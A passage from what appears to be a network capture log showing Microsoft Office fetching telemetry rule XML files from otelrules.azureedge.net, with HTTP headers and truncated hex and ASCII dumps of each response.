DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:37 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115837Z-185f5d8b95cf7qddhC1NYC66an0000000aa00000000055hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:38 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:38 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115838Z-r1d97b9957744xz5hC1TEB5bf800000008ng00000000bfwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:38 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115838Z-185f5d8b95c4vwv8hC1NYCy4v40000000adg000000001yf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:38 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:38 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:38 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115838Z-r1d97b99577gg97qhC1TEBcrf400000008k000000000e1mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:38 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:38 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:38 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115838Z-185f5d8b95c96jn4hC1NYCbgp80000000a4000000000fspc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:38 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:38 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:38 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115838Z-1777c6cb754rz2pghC1TEBghen00000009h0000000003akd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:38 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-185f5d8b95csd4bwhC1NYCq7dc0000000a5g0000000053kp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:39 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:38 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-185f5d8b95c9mqtvhC1NYCghtc0000000a4g00000000ks1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:39 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:39 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-185f5d8b95cqnkdjhC1NYCm8w800000009z000000000e44r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:39 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:39 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-185f5d8b95cdcwrthC1NYCy5b80000000a4g00000000afyr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:39 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-185f5d8b95cqnkdjhC1NYCm8w80000000a20000000008axn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:39 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-185f5d8b95ckwnflhC1NYCx9qs0000000a4000000000k5xf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
